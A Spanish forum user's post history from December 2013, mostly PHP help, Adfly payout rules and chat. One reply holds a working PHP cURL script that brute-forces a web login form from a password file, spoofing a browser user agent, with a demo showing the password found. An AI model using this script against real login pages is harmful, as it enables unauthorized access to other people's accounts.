Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - #!drvy

#4481
Dudas Generales / Re: Ayuda con adfly
1 Enero 2014, 22:40 PM
El pago mínimo en Adfly es de 5 dolares americanos. Pagan el primer lunes de cada mes. Osease en teoria si te van a pagar, te pagaran el dia 6 que es lunes. Si dices que tienes menos de 5 dolares, no te van a pagar... tendrás que esperar hasta reunir los 5$ y que toque el primer lunes del mes.

7. Payment
Payments from AdF.ly are made through PayPal ('http://www.paypal.com') or Payoneer ('http://www.payoneer.com') on first Monday of every Month. The minimum amount available for a withdrawal is USD$5.00 for PayPal, if the registration of the account was after 1st July 2009 or a previous withdrawal has already been processed. Otherwise the minimum withdrawal is USD$20.00. The minimum amount available for a withdrawal is USD$10.00 through Payoneer.
http://adf.ly/terms

Saludos
#4482
Que hay de tuenti en españa ? Toy seguro que hay mas jovenes con tuenti que con facebook ·_·

Saludos
#4483
Desarrollo Web / Re: Mensajes de error en PHP
31 Diciembre 2013, 23:05 PM
CitarTambien se puede utilizar empty()

De hecho yo lo prefiero antes que isset pero el no aceptar el 0 me caga (xD) y a veces tengo que poner mas condiciones estúpidas xD

Código (php) [Seleccionar]
if((empty($_GET['dato1'])&&@$_GET['dato1']!=='0')){
 die('No has declarado la variable, negro');
}


o funciones para reutilizar...

Código (php) [Seleccionar]
<?php
function empti(){
   foreach(
func_get_args() as $arg){
      if(!isset(
$arg)){return true;}
      elseif(!
is_array($arg)&&!is_object($arg)&&!is_numeric($arg)){
         
$long = (function_exists('mb_strlen') ? mb_strlen($arg) : strlen($arg));
         if(
$long>0){continue;}else{return true;}
      } elseif(
is_numeric($arg)||is_int($arg)){
         continue;
      } else {
         if(empty(
$arg)){return true;}else{continue;}
      }
   }
   return 
false;
}


$arr = array(); $arr2 = array(5);
$str ''$str2 '1';
$int 0$int2 1;
$var null$var2 false;

var_dump(empti($arr)); echo '<br />'var_dump(empti($arr2)); echo '<br />';
var_dump(empti($str)); echo '<br />'var_dump(empti($str2)); echo '<br />';
var_dump(empti($int)); echo '<br />'var_dump(empti($int2)); echo '<br />';
var_dump(empti($var)); echo '<br />'var_dump(empti($var2)); echo '<br />';

// Acepta cuantos parametros le pases, si alguno de ellos esta vacio, devueve true.
var_dump(empti($arr,$arr2,$str,$str2,$int,$int2,$var,$var2));
?>


Se me olvido que tambien puedes silenciar el error mediate @. Ejemplo
Código (php) [Seleccionar]
$ejemplo = @$_POST['dato1'];

Saludos
#4484
Desarrollo Web / Re: Mensajes de error en PHP
31 Diciembre 2013, 22:24 PM
Lo mas normal es comprobar si la variable en cuestion esta declarada.

Código (php) [Seleccionar]
if(isset($_POST['dato1'])){$ejemplo = $_POST['dato1'];}
// o
$ejemplo = (isset($_POST['dato1']) ? $_POST['dato1'] : null);


Aunque también puedes quitar los errores del tipo NOTICE con
Código (php) [Seleccionar]
error_reporting(E_ALL ^ E_NOTICE);

Saludos
#4485
Foro Libre / Re: Feliz navidad y prospero año nuevo
31 Diciembre 2013, 22:13 PM
Los del STAFF ya recibieron la paga extra por navidades ? A mi solo me llego el mensual  :silbar:



Feliz año nuevo  ;-)

Saludos
#4486
Mostrar nuevas respuestas a tus mensajes.

Esta arriba a la derecha, debajo de "Mostrar mensajes no leidos desde la ultima visita".

Saludos
#4487
Hasta 12km en condiciones IDEALES para el ataque.. vamos que en un entorno real no llega ni a la mitad xD

No creo que sean capaces de "hackear" cualquier WiFi.. sin mas por lo que visto, NIGHTSTAND es un "maletin" con hardware corriendo Fedora capaz de injectar paquetes en redes WiFi para comprometer maquinas con Windows usando IE 5-6. Y se usa donde no se puede acceder al sistema mediante cable. Vamos, me imagino que como mucho seran capaces de abrir WEP y WPA+WPS. A no ser, que el router tenga una puerta trasera en su firmware...



Si queréis mas "gadgets" interesantes de la NSA y su division ANT..este post es bastante ultil.

http://leaksource.wordpress.com/2013/12/30/nsas-ant-division-catalog-of-exploits-for-nearly-every-major-software-hardware-firmware/

Saludos
#4488
PHP / Re: Fuerza bruta método POST [PHP]
31 Diciembre 2013, 17:40 PM
cURL mola :P .. aunque como ha dicho @EFEX se puede hacer de muchisimas formas (con muchísimos programas).

Código (php) [Seleccionar]
<?php

// Url a donde enviar los datos.
$url 'http://localhost/prueba.php';
// Datos adicionales que hay que enviar (usuario,nacimiento,direccion email etc..)
$datos = array('user'=>'Aitor');
// Nombre del campo que contiene la contraseña
$campo_password 'password';
// Archivo con las contraseñas
$archivo_passwords 'passwords.txt';
// Resultado deberia ser.. puede ser parte de un string.
$string_valido 'Bienvenido';

/* ------------------------------------------------ */
function procesar_archivo($archivo){
   if(empty(
$archivo)||!file_exists($archivo)){return false;}
   
$handle fopen($archivo,'r');
   
$content fread($handle,filesize($archivo));
   
$content explode("\n",$content);
   
fclose($handle);
   return 
$content;
}

if(!
function_exists('curl_init')||!function_exists('curl_exec')){die('No dispongo de curl');}

// Iniciamos curl.
$ch curl_init();
// Indicamos que debe devolver el resultado
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);
// Indicamos la url.
curl_setopt($ch,CURLOPT_URL$url);
// Indicamos que va a ser un POST y su longitud.
curl_setopt($ch,CURLOPT_POSTcount($datos)+1);
// Indicamos que siga las redirecciones
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
// Simulamos ser un navegador Firefox.
curl_setopt($chCURLOPT_USERAGENT'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');

// Procesamos el archivo.
$passwords procesar_archivo($archivo_passwords);
if(empty(
$passwords)||!is_array($passwords)){die('El archivo no existe y/o no es valido');}

// Por cada password
foreach($passwords as $password){

   
// Converimos los datos a url. (ej: usuario=Aitor&email=hola)
   
$string='';
   foreach(
$datos as $index=>$valor){ $string .= $index.'='.$valor.'&'; }

   
// Añadimos el campo password
   
$string.=$campo_password.'='.$password;

   
// Añadimos los datos al POST
   
curl_setopt($ch,CURLOPT_POSTFIELDS$string);

   
// Ejecutamos curl
   
echo 'Probando -'.$password;
   
$resultado curl_exec($ch);

   
// Comprobamos si fue validado
   
if(strstr($resultado,$string_valido)){echo '-VALIDO';break;}
   else {echo 
'-NO VALIDO <br />'; continue;}
}

?>


Prueba PHP:
Código (php) [Seleccionar]
<?php
$user 
$_POST['user'];
$password $_POST['password'];
if(
$user === "Aitor" && $password == 10){echo "Bienvenido usuario X";}else{echo "No es correcto.";}
?>


Resultado:
Código (log) [Seleccionar]
Probando -1-NO VALIDO
Probando -2-NO VALIDO
Probando -3-NO VALIDO
Probando -4-NO VALIDO
Probando -5-NO VALIDO
Probando -6-NO VALIDO
Probando -7-NO VALIDO
Probando -8-NO VALIDO
Probando -9-NO VALIDO
Probando -10-VALIDO


Saludos
#4489
Código (html4strict) [Seleccionar]
<select id="f_provincia" name"provincia" style="width: 220px;" />

1. name no esta bien definido.. tiene que llevar =.
2. select no se cierra de esa forma (/>).

NO UTILIZAR mysql.. UTILIZAR MYSQLi o PDO.
UTILIZA ETIQUETAS GESHI lo tienes en un select llamado GeSHi al crear el post.


Saludos
#4490
Foro Libre / Re: ¿Que opinan de Foroactivo?
31 Diciembre 2013, 16:12 PM
No no y no. Foroactivo es bueno para usuarios sin conocimiento que quieran abrir su foro y punto... luego cuando se haga profesional tendrás millones de problemas entre DNS, mods, backups, etc..

Saludos